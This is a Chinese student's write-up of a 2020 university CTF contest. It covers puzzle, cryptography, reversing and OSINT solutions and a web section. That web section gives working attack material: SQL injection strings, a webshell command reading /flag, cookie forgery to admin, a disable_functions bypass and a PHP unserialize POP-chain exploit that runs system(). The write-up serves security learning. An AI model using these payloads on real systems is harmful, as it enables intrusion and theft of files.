2020 年“新生杯”CTF 部分WriteUp


前言

去年参加过新生杯,但是当时还是太年轻了。当时也就学了点WEB的皮毛吧,混混杂项的分最后排名也就自然不堪入目了。按道理过了一年,再参加一次应该好很多吧,但实际上也没有想象中的轻松,果然大一下半年待在家里还是太怠惰了,也就写了几个网站和学学Java,CTF还是一点都没有碰过,到比赛前几天才去攻防世界做做题。嘛,不管怎样,多少是学到了点东西(信息搜索能力又蹭蹭蹭上升了)。虽然官方叫交了一份word文档的wup,但想想还是自己再写一份吧。

镇楼

MISC

Do you know Xp0int

标准的签到题,直接拉进Winhex里Ctrl+F查找关键词ctf就得到flag了(虽然一开始我查的是flag没查到…然后逐渐思维迪化,最后才想起格式)

Do you know Xp0int_compressed.jpg

得到flag为ctf{We1c0me_to_Join_Us}

Buddha

多重加密,想起了之前贴吧的九重密码求婚,就硬套娃,基本上是替换密码,抓住各种密码的特征就好

原文为

新佛曰:梵諸隸梵僧降吽諸陀摩隸僧缽薩願降迦梵喼修我梵慧我伏願如闍所眾梵嘇梵心寂聞慧梵夷迦嘚蜜嚩所嚤劫梵囉梵降梵寂隸空塞薩梵如囑梵

新与佛论禅解码:

Y3tXX3p9dFhuYlJmMlJEUw==

base64解码:

c{W_z}tXnbRf2RDS

栏数为3的栅栏密码解码:

ctf{X2WnR_bDzRS}

最后得到flagctf{X2WnR_bDzRS}

close_base

下载题目得到一个txt文件,内容如下:

I2luY2x1ZGU8c3RkaW8uaD5=
I2luY2x1ZGUgPHN0ZGxpYi5oPr==
bWFpbigpe2ludCBpLG5bXT17KCgoMSA8PDEpPDwoMTw8MSk8PCgxPDx=
ICAgICAgIDEpPDwoMTw8KDE+PjEpKSkrKCgxPDwxKTw8KDE8PDEpKSksICgoKDF=
ICAgICAgIDw8MSk8PCgxPDwxKTw8KDE8PDEpPDwoMTw8MSkpLSgoMTw8MSk8PCi=
ICAgICAgICAxPDwxKTw8KDE8PDEpKSsoKDE8PDEpPDwoMTw8KDE+PjEpKSkrKDE8PCgxPj4xKSkpLB==
ICAgICAgICgoKDE8PDEpPDwoMTw8MSk8PCgxPDwxKTw8KDE8PDEpKS0oKDEgPDwxKW==
ICAgICAgIDw8KDE8PDEpIDw8KDE8PCgxPj4xKSkpLSgoMTw8MSk8PCgxPDwoMT4+MSkpKSkgLH==
ICAgICAgICgoKDE8PDEpPDwoMTw8MSk8PCgxPDwxKTw8KCAxPDwxKSktKCgxIDw8MSk8PG==
ICAgICAgICAoMTw8MSk8PCgxIDw8KDE+PjEpKSktKCgxPDwxKTw8KDE8PCgxPj4xKSkpKSAgLJ==
ICAgICAgICAoKCgxPDwxKTw8KDE8PDEpPDwoMTw8MSk8PCgxPDwxKSktKCgxPDwxKSA8PG==
ICAgICAgICAoMTw8MSk8PCgxPDwoMT4+MSkpKS0oMTw8KDE+PjEpKSksKCgoMTw8MSk8PD==
ICAgICAgICAoMTw8MSk8PCgxPDwxKSkrKCgxPDwxKTw8KDE8PDEpPDwoMTw8KDE+PjEpKSkgLV==
ICAgICAgICAoKDE8PDEpPDwoMTw8KDE+PjEpKSkpLCgoMTw8MSk8PCgxPDwxKTw8KDE8PDEpKf==
ICAgICAgICwoKCgxPDwxKTw8KDE8PDEpPDwoMTw8MSk8PCgxPDwxKSktKCgxPDwxKTw8KDE8PDEpKW==
ICAgICAgIC0oMTw8KDE+PjEpKSksKCgoMTw8MSk8PCgxPDwxKTw8KDE8PDEpPDwoMTw8MSkpLSgoMS==
ICAgICAgIDw8MSk8PCgxPDwxKTw8KDE8PCgxPj4xKSkpLSgxPDwoMT4+MSkpKSwgICgoKDE8PDF=
ICAgICAgICk8PCgxPDwxKTw8KDE8PDEpPDwoMTw8MSkpLSgoMTw8MSk8PCAoMc==
ICAgICAgIDw8MSk8PCgxPDwoMT4+MSkpKSsoMTw8MSkpLCgoKDE8PDEpPDwoMTw8MSAgKc==
ICAgICAgIDw8KDE8PDEpPDwoMTw8MSkpLSgoMTw8MSk8PCgxPDwxKTw8KDE8PCgxPj4xKSkpLd==
ICAgICAgICgoMTw8MSk8PCgxPDwoMT4+MSkpKSksKCgoMTw8MSk8PCgxPDwxKSA8PCgxPDwxKY==
ICAgICAgIDw8KDE8PDEpKS0oKDE8PDEpPDwoMTw8MSk8PCgxPDwxKSkrICgoMd==
ICAgICAgIDw8MSk8PCgxPDwoMT4+MSkpKSksKCgoMTw8MSk8PCgxPDwxKSAgPDwoMR==
ICAgICAgIDw8MSkpKygxPDwoMT4+MSkpKSwoKCgxPDwxKTw8KDE8PDEpKSAgKygoMY==
ICAgICAgIDw8MSk8PCAoMTw8KDE+PjEpKSkgKygxPDwgKDE+PjEpKSl9O2Zvck==
ICAgICAgIChpPSgxPj4xKTtpPCgoKDE8PDEpPDwoMTw8MSkpKygoMSAgPDwxKTw8KI==
ICAgICAgIDE8PCgxPj4xKSkpKygxPDwxKSk7aSsrKSAgIHByaW50ZigiJWMiLG5baV0pO31=

观察到每行都为一个base64字符串,为base64隐写,直接用对应的脚本解码得到flagctf{magic_bs64a!}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding: utf-8 -*-
#base64解码脚本,Python2 运行
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

# 2.txt为需要解码的文件
with open('2.txt', 'rb') as f:
bin_str = ''
for line in f.readlines():
stegb64 = ''.join(line.split())
rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())
offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1]))
equalnum = stegb64.count('=') #no equalnum no offset
if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)
print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)]) #8位一组

1_compressed.jpg

base64隐写的原理其实很简单,在补充0产生等号的时候,一部分位会被忽略,可以把数据写在这几位里,比如cGFzc2J5YQ==cGFzc2J5YR==解码结果都是passbya。因为一串含两个等号的字符串最多也只有4bit的位置能隐写,所以要产生一个flag一般也就需要很多串base64了。

(其实一开始我是直接把每一行单独base64解码了一遍,得到一份C源码,运行输出很奇怪,坐等等大佬答疑/(ㄒoㄒ)/~~)

DRAGONBALL

题目提示集齐五龙珠,但给了700+文件,。难点是在其中选出正确的5个,毕竟暴力排列组合A(5/700)是不现实的。

如果按文件修改时间升序排列可以明显看到断层,刚好分离出5个文件

1.png

然后对五个文件名进行base64解码,得到cute__onefirst_onefunny_onelast!_onesmart_one,得到头尾(中间的三个是不是也可以直接排序呢,俺也就看过一点点龙珠,会不会跟剧情有关,(・∀・)。Winhex查看first_one发现文件头是压缩文件标志。然后直接对剩下的三个文件排列组合,加上头尾拼成zip压缩包。组合得到6个文件,其中4个损坏,有两个可以解压出图片,但其中一个有真正的flag。

kUgqox6SwGKFnNH.jpg

EasyMisc

题目文件就扔了个无文件后缀的rar,盲猜补全一波.rar成功解压,得到两张图片,girl.jpgnew.png

girl.jpg是鬼刀大大的作品,所以识图肯定识图不出ctf相关内容,直接对另一张表情包进行谷歌识图,成功找到原题目。按照原题目的方法,至少只需要这一张图片进行盲水印解密…然后得到的是原题的flag而不是真正的……

2_compressed.jpg

那么问题一定在girl.jpg上,用binwalk分析,发现隐藏一个rar文件,直接分离出来。

cut20201115161130_compressed.jpg

1
dd if=girl.jpg of=girl_rar.rar skip=242635 bs=1

解压该压缩文件需要密码,备注提示密码只含有小写字母,直接暴力破解得到密码bwm

赛后很多小伙伴跟我说这个提取出来的压缩文件扔进爆破软件说文件损坏,甚至自己写脚本破解都破解不出来。我当初也是下载了一堆软件,其中Archpr 4.53.48.6会说文件不是压缩文件,扔进另一个说文件没密码???,最后试下Accent RAR Password Recovery才暴力破解出来(打钱!)。

cut20201115162754_compressed.jpg

解压文件得到和new.png一样的图,直接两张图用盲水印脚本解密。

1
py -3 bwmforpy3.py decode new.png ori.png output.png

没想到吧,使用python3版本的解密……,python2的脚本解出来的不对,淦!我想了半天还以为自己哪里错了。去年也是盲水印,也是事故高发地段,这几个依赖装的真难受。

output.png

Look_at_your_keyboard

1
ewazx tyugv iuhbvghj uhb iujmn iuhbvghj yhnmki vgyhnji

没啥好说的,虽然键盘的密码很多,但这个就很明显了,顺着字母在键盘上画出形状就行。

得到flag为ctf{ctfisfun}

PMGBA

题目只有一张图片

png1_compressed.jpg

直接统计符号数量和观测形状,得出内容为remember to examine the。后来谷歌这句话找到了 原题…而且知道了解密的网站

用binwalk分析

1
binwalk taste.png

cut20201115164555_compressed.jpg

发现还藏了2张图……年轻人不讲武德啊!

分离出来的前一张图为

cut20201115165728_compressed.jpg

为皮卡丘语言,在解密网站解密出来结果为Nope, sorries. This is wrong :(,假的flag……因为图片转文字效果不好我是手动转的文字,眼睛还痛着啊混蛋(╯▔皿▔)╯

再次从另一个角度出发,把这张图片拉进Winhex一点点翻看,发现一段base64字符串,提取出来解码然后存为zip压缩文件。

UEsDBBQAAQAIAFW2UFGlNtLRTgAAAHoBAAAKAAAAaGlkZGVuLnR4dHw7k+ww4UU8eP4ct4CPy5lPPlBCYCDTL1tJk38pTyrB/Fe91nAUVsB0p+rvB9k2gmvZhkUxC2FYE003K9I54oi1czZcc9A47iOV+5MnwlBLAQI/ABQAAQAIAFW2UFGlNtLRTgAAAHoBAAAKACQAAAAAAAAAIAgAAAAAAABoaWRkZW4udHh0CgAgAAAAAAABABgA3IHzt8uj1gHcgfO3y6PWAYBHYaTLo9YBUEsFBgAAAAABAAEAXAAAAHYAAAAAAA==

43546.png

解压该压缩文件提示需要密码,继续按照原题的方法查看第二张分离出来的图片得到压缩密码为58growliness\n

1
zsteg 00001698.png

cut20201115170512_compressed.jpg

解压压缩文件的到一个txt文本,还是皮卡丘语言

pi pi pi pi pi pi pi pi pi pi pika pipi pi pipi pi pi pi pipi pi pi pi pi pi pi pi pipi pi pi pi pi pi pi pi pi pi pi pichu pichu pichu pichu ka chu pipi pipi pipi pipi pi pi pikachu pi pi pi pi pi pi pi pi pi pikachu pikachu pichu pichu pi pi pikachu pipi pipi ka ka ka ka ka ka ka ka ka ka ka ka ka pikachu ka pikachu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu

但这次解出来就是正确的了foo bar

最后拼接两个结果得到flagctf{remember to examine the foo bar}

CRYPTO

对不起…你是个好题,但我只会古典密码,RSA和一点椭圆曲线…..

碰碰车

人生苦短,我用python!
这是一段缺失的md5消息摘要
a8f738??????5ea5??????80865???af
需要你还原出消息摘要的全部内容,并加上ctf{}提交
已知线索:md5(AGVSCF?TZV?WBGVHC?U)=a8f738??????5ea5??????80865???af

写个脚本暴力破解

1
2
3
4
5
6
7
8
9
10
11
import hashlib
#a8f738??????5ea5??????80865???af
for i in range(0,255):
for j in range(0,255):
for k in range(0,255):
t = 'AGVSCF{}TZV{}WBGVHC{}U'.format(chr(i),chr(j),chr(k))
hl = hashlib.md5()
hl.update(t.encode(encoding='utf-8'))
hs = hl.hexdigest()
if hs[:6] == 'a8f738' and hs[12:16] == '5ea5' and hs[22:27] == '80865' and hs[30:]:
print(t)

得到flagctf{AGVSCF9TZV9WBGVHC2U}

EasyRSA

p^2+q^2
=208680638196054793779950396947640995086963335225314494211048436767328157403385847902708950876722819363430805183637917486948883719184952031896287718282687710627112461479842558330512185988841693609451411485248346255881435015800175737788918607504412656254312427601603342579907641505150315471704698521905016530338

p+q
=20029167198807103822294848708534176719693827885584335928109682356494141073775700355124993345488062063358756812142730873692437534641839672970148348433433440

e=65537

c=91507581287268678382704102499829526115486105502321675954617344102253738157075000438078155655317661988277710347178352070963528948558320623410799852584156693215831487103699955781123962661928296191496664400110250226880815518273669335738236882265242192523589233915770596106654695524214247405913652100286077779879

数学题,给p^2+q^2p+q可以解出来pq(p-1)(q-1),就把N和phi(N)求出来了,直接常规解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import binascii
import gmpy2
n=96243450240857806115238914653506374834158356404896678232436489539707298295146186648624902266701807464050422276455558857632550580505372438110295219068694716543405451731421295141483526834359885726239165055762244236514323454493819119702277996194317762001574226999676509936070746434926789755115528628440946851631

p=8002511426596424351829267099531651390448054153452321185350746845306277585856673898048740413439442356860630765545600353049345324913056448174487017235828857

q=12026655772210679470465581609002525329245773732132014742758935511187863487919026457076252932048619706498126046597130520643092209728783224795661331197604583

c=91507581287268678382704102499829526115486105502321675954617344102253738157075000438078155655317661988277710347178352070963528948558320623410799852584156693215831487103699955781123962661928296191496664400110250226880815518273669335738236882265242192523589233915770596106654695524214247405913652100286077779879

def isPrime(n):
for i in range(2,int(n**0.5)+1):
if n%i==0:
return False
return True
def quick_algorithm(a,b,c):
a=a%c
ans=1
while b!=0:
if b&1:
ans=(ans*a)%c
b>>=1
a=(a*a)%c
return ans
e=65537
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=quick_algorithm(c,d,n)
print(binascii.unhexlify(hex(m)[2:].strip("L")))

得到flagctf{Rsa_1s_So_Easy!!!}

Go Home

n=0xc3d945bc033ff7dd932ba62d8ef506cb37f5fe8e45abdac07660c7ac2af97d3ce723710384046c1bd967e92b0e03666d7c0bcbd4043b39ee128e5a1c98b5367044a4e72a4868fdc4824e8f0f3074da2857a414c9dfd7bf208d41caefeac144a45a6ca225975b0fced05d85d6e95dc7c2fa303c8a69185b75b8b3fd7f3fe0b9b5

p=0xdfe9dd9c9e9987e2fdb230fb346cefa87893afed5d1b4240872ec5b2dfc3b397ecbbf9b54ae6e9b7be150cdc79de1e87d2d674352b857ae4e000000000000000

c=0xe1ea04df467b48a7fa372d9374959571a084341041ec71f57e661cedfb517dbf1cc05a305edeb56ce0d2e29a98790a1cd538b31203a8ff7ea79aee1b3ad8629eac19607dce66f9138e3b376a8e915e24d209a23cb8e1a02c6030d840ceb4203

这题到最后都没做出来,后来听听大佬讲了觉得挺简单的就顺便写写吧。

这题考察RSA小e的漏洞,分解密文c发现是某个数的3次方,这就得到了e和明文m

e=3

m=0x617264795071325d326c625d415f31715f705d5f70315d716d5d64736c6c777b

直接解码m得到字符串ardyPq2]2lb]A_1q_p]_p1]qm]dsllw{

1
2
3
from binascii import unhexlify
m = b'617264795071325d326c625d415f31715f705d5f70315d716d5d64736c6c777b'
print(unhexlify(m))

看上去像栅栏密码(这次比赛栅栏密码真的用烂了),但实际上个凯撒密码(位移为2)

1
2
3
4
5
6
7
s = 'ardyPq2]2lb]A_1q_p]_p1]qm]dsllw{'
def dec(s,set):
new = ''
for i in s:
new += chr(ord(i)+set)
print(new)
dec(s,2)

最终flag为ctf{Rs4_4nd_Ca3sar_ar3_so_funny}

REVERSE

逆向开赛前一天才知道IDA,想着凭着自己学了点汇编和C应该能应付个一两题,没想到真的没了

捉迷藏

下载程序本能按F5反编译,结果啥也没发现,提示说不要只按F5,那就不按了看汇编,看到三个奇怪的数,16进制转字符串最后重新排列下字母顺序得出flag

cut20201115181940.png

2.png

ByteCode

给出一份python字节码,虽然之前没学过,但谷歌下学下就好,而且给出的题目逻辑不算复杂

挑其中一段:

1
2
3
4
5
6
7
8
9
10
11
7           8 LOAD_GLOBAL              1 (ord)	
10 LOAD_FAST 0 (flag)
12 LOAD_CONST 2 (0)
14 BINARY_SUBSCR
16 CALL_FUNCTION 1
18 LOAD_CONST 3 (10)
20 BINARY_XOR
22 LOAD_CONST 4 (105)
24 COMPARE_OP 2 (==)
26 EXTENDED_ARG 1
28 POP_JUMP_IF_FALSE 474

这段相当于

1
2
3
4
if ord(flag[0]) ^ 10 == 105:
pass
else:
return

其他的段都是类似,也就需要查一查运算符的名字

全部的运算式子为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ord(flag[0])^10 = 105
ord(flag[1])+10 = 126
ord(flag[2])//3 = 34
ord(flag[3])+15 = 138
ord(flag[4])^23 = 109
ord(flag[5])//11 = 11
ord(flag[6]) = 103
ord(flag[7])^18 = 117
ord(flag[8])*9 = 855
ord(flag[9])+111 = 232
ord(flag[10])*23 = 2783
ord(flag[11])-100 = 0
ord(flag[12])//5 = 23
ord(flag[13]) = 95
ord(flag[14])^39 = 67
ord(flag[15])^59 = 95
ord(flag[16])-50 = 50
ord(flag[17])+50 = 150
ord(flag[18])//2 = 52
ord(flag[19])-9 = 100
ord(flag[1])^66 = 63

依次反推得到flagctf{zygg_yyds_ddddhm}zy哥哥,yyds,带带弟弟好吗!kusa!

OSINT

今天新加入的题目,就是考信息检索能力网络侦探必修课

checkin

签到题

寻找
1.Xp0int的邮箱;
2.暨南大学曾办的一项大型比赛;
3.Xp0int战队创始人ID(一人)
(邮箱取”@”前的部分;大型比赛名字为简称;若为汉字则转为拼音;直接拼接三者,无需逗号;全转换为小写;包裹ctf{}提交)

Xp0int官网:http://blog.leanote.com/xp0int

giantbranch巨佬的blog:https://www.giantbranch.cn/

检索后得到的信息:

Xp0intjnu@gmail.com
世安杯
giantbranch

按要求组合得到flagctf{xp0intjnushianbeigiantbranch}

find_the_attacker

一言难尽的一题,足足发了5个hint,我觉得我是时候去看看侦探小说了

题目说要找出攻击者,攻击手段,攻击起始处,提示从官网微信公众号入手,但真的……

第一个hint说搜索关键词secret,在官网找到一个新的页面

-4.png

得到神秘代码:1yEt5juom35MATrGy_UWq9w

以及按照记忆发现另外两处在做前一题时没有的地方

-5-1.png

思索了半天第二个hint下来说弱密码是四位数字,但是当时还没想到去哪里输入密码

然后晚上上着概率论突然惊醒,难道是垃圾百度云,老司机轻车熟路构造出链接:

1
https://pan.baidu.com/s/1yEt5juom35MATrGy_UWq9w

真的是……盲猜一波密码1234成功,得到一个word文档

cut20201115184840.png

有个假flag,当时还以为解出来了,唉~

签名处有奇怪的虚线,后来知道这是隐藏的文字,确实在百度云上预览时没东西的,但不知道为什么下载下来就有了,不过还是没头绪到下一步

查看下个hint,提示最大的同性交流平台,直接去github

1
https://github.com/4tt4ckW1thD3sf3ns3/

一个仓库里有两个文件,一张图和一个md文件

md文件很皮地写着照片里啥都没有,那我就直接看md文件,果然用注释隐藏了文字

cut20201115185435.png

访问隐藏的地址,发现没有没有有价值的东西,只写了一句please step by step

然后爆目录,当然是手动,因为当时在上概率论…只好手机手动爆。爆了3个左右直接爆根目录http://39.108.108.70:8080/,发现所有文件都列出来了,一个是刚刚的pay_for.php,另一个是一个txt文档。

txt文档里是一堆小数数对

-1.png

猜测经纬度,虽然可以用python画出来,但是当时也没什么题目做得出了就无聊在谷歌地图上画了

0_compressed.jpg

得到flagctf{AIDTMLS}

查了下翻译,Aid Tmls是救援短信???

WEB

唯一算是会的题目了吧≧ ﹏ ≦

假的签到

0_compressed.jpg

按提示查看Robots.txt

1.png

进入/phpp_tql.php

2.png

需要比较两个字符的md5相同,但本身不同,谷歌大法找出碰撞的例子(隔壁大佬用的post数组传递false,nb)

1
2
$s1 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab";
$s2 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab";

构造payload得到flag

3.png

Let’s play a simple game again

按提示依次GET和POST数据

0.png

提示不是管理员,发现cookie有一串base64字符串,解码后为admin=0,猜测验证用这串字符串验证管理员

1.png

Postman修改cooki中的这串base64字符为YWRtaW49MQ==(admin=1),发送请求

3.png

2.png

最后通过验证得到flag

世界上最简单的后门

0.png

经典中的经典,直接蚁剑骇入

1.png

2.png

隔壁的小伙伴说蚁剑怎么都连不上服务器(我一开始也是,挂了代理就一点问题没有,不知道为什么),也可以直接post

1
c=system('cat /flag')

babyssrf

真的baby题……

0.png

用file协议查看文件即可

babysql

经典输入框,注入点写出来了

-1.png

但是ban(你不对劲.jpg)了SELECTUNION和一些长的函数,好像写了含有show的语句被ban了,还以为是show也被ban了,就去找奇怪的方法,没想到show没被禁用

0.png

按查到的什么堆叠注入乱搞了也得到了答案

爆库名 1' and extractvalue(1,concat('~',database()))#

1.png

爆表名 -1';use ctf;show tables;#

2.jpg

爆表 -1';use ctf;show columns fromflag;#

3.png

得到flagctf{enjoy_Sq1i11_qu3ryy}

lottery_revenge

熟悉的抽奖,还是那个大大的抽奖盘,但是不知道为什么不转了(笑哭)

直接爬后台接口(你怎么这么熟练啊),发现不对劲,返回了php源码,需要通过管理员验证…..

代码忘了截图,但基本逻辑是需要post一个admin_key,如果和$_SESSION['admin']相等就可以抽奖,不相等就重新设置为当前时间戳拼接当前时间戳。

那么思路就很清晰了,先请求错一遍,从响应头读取时间戳,拼接个admin_key再请求一遍就好。这个时间戳我也懒得写脚本了,就手动用Postman搞了个,就直接爬数据了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import time
import json
import re
headers = {
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6',
'Cache-Control': 'max-age=0',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36',
'Connection': 'keep-alive',
'Cookie': 'PHPSESSID=dhou9jv9aaqp2901uik6jgugem'
}
url = 'http://42.194.147.119:15326/data.php'
data = {
'admin_key': "16046581031604658103"
}
while(True):
req2 = requests.post(url,data=data,headers=headers)
raw_txt = req2.content.decode('utf-8')
js_str = "{" + re.findall("{(.+?)}",raw_txt)[0] + "}"
try:
ls = json.loads(js_str)
if 150 <= ls['angle'] <= 210:
print(ls)
except:
print(raw_txt)
time.sleep(0.1)

结果我只在第一层,出题人在大气层……还得不到最终flag,只得到下一个网址

lt1.jpg

进入目标网址,信息量太少,但源码注释了个source=1,直接get上去得到源码

lt2.png

要求补全flag,看到mt_rand函数,知道是伪随机数,只要知道seed就可以得到一样的结果了,谷歌了教程一步步做就行了

1
2
3
4
5
6
7
8
9
#include <iostream>
int main() {
std::string str1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
std::string str2 = "KuWkei7keTN";
std::cout << std::endl;
for (char i : str2) {
std::cout << str1.find(i) << ' ' << str1.find(i) << " 0 61 ";
}
}

得到前11个字母的偏移量为

1
36 36 0 61  20 20 0 61  48 48 0 61  10 10 0 61  4 4 0 61  8 8 0 61  59 59 0 61  10 10 0 61  4 4 0 61  45 45 0 61  39 39 0 61

反向爆破seed(工具

cut20201115195306_compressed.jpg

得到seed为1477443095,然后正着推一遍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function wp_generate_password($length) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$password = '';
for ( $i = 0; $i < $length; $i++ )
$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
return $password;
}
mt_srand(1477443095); //手工添加了这个种子
$key = wp_generate_password(30);
echo "[*] This is a key for public:".$key."\n";
$private = wp_generate_password(30);
echo "[*] Create a private key which you don't know:".$private."\n";
?>

得到张三完整的flag为

1
KuWkei7keTNxBiJ3LL9TCclixbrEZ9

输入即可得到flag

lt6.png

又一个后门

和之前的简单后门一样,但是在白给phpinfo中看到disable_function属性里有system,exec等等很多函数,这就导致蚁剑的命令行无法使用。文件查看还是能用,但是该网页所在目录不能上传文件

搜索disable_function的绕过,发现蚁剑自身就有插件

cut20201115200657.png

尝试着直接使用符合条件的LD_PRELOAD模式,发现无法成功,总是上传第一个文件成功而第二个失败,原因就是第二个文件是上传到刚刚说的禁止上传文件的地方,那这样就直接把这个需要上传的文件的内容扔到payload里就好。

直接找这个插件的github项目得到那两个文件,so文件扔到/tmp里,php文件里的内容扔到payload里

3.png

flag.png

基本原理项目里也说了,看看就好,最后得到flag

在我摸进去/tmp的时候,发现大佬们已经在留文件聊天了,草

unserialize

每年标准题目反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class A{
public $data;
public function __destruct()
{
$this->data->close();
}
}
class B{

public $cache;
public function getit($key){
if (isset($this->cache[$key])){
return $this->cache[$key];
}
}
public function __call($method, $args)
{
return call_user_func_array($this->getit($method), $args);

}
}

class C{

public $evil,$arggg;
public function evallll(){
call_user_func($this->evil,$this->arggg);

}
}

$unserialize($_GET['sssssss']);
?>

题目给出三个类,没有任何有关flag的变量

标准的Pop chain类题目

三个类中由于只有A有符合条件的魔术函数,所以A应该是入口

A销毁时会调用未定义的close方法,和B中的__call魔术函数对应,那么A的$data应该是B的实例,再看__call里使用了getit,需要比较$cache里的内容,所以$cache至少为[“close”=>另一个函数名(例如”phpinfo”)],才会运行这另一个函数,这相当于构造了一个后门。

但是我们发现close函数并没有传参,call_user_func_array运行时是没有参数的,这样不方便我们使用各种函数(如system)。这时C就很关键,因为它的两个成员变量刚好可以被evallll函数调用而不必传参。那么就很简单了:先设置C的成员变量,再设置$cache=[“close”=>array($c,”evallll”)]。

为什么写成array($c,"evallll"),这和call_user_func_array以实例对象的非静态函数作为参数的传参方式有关,详细可以见

最后我们来序列化正向推一遍:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class A{
public $data;
public function __destruct()
{
$this->data->close();
}
}
class B{

public $cache;
public function getit($key){
if (isset($this->cache[$key])){
return $this->cache[$key];
}
}
public function __call($method, $args)
{
return call_user_func_array($this->getit($method), $args);

}
}

class C{

public $evil,$arggg;
public function evallll(){
call_user_func($this->evil,$this->arggg);

}
}

$a = new A();
$b = new B();
$c = new C();
$c->evil = "system";
$c->arggg = "cat /flag";
$b->cache = ["close"=>array($c,"evallll")];
$a->data = $b;
echo serialize($a);
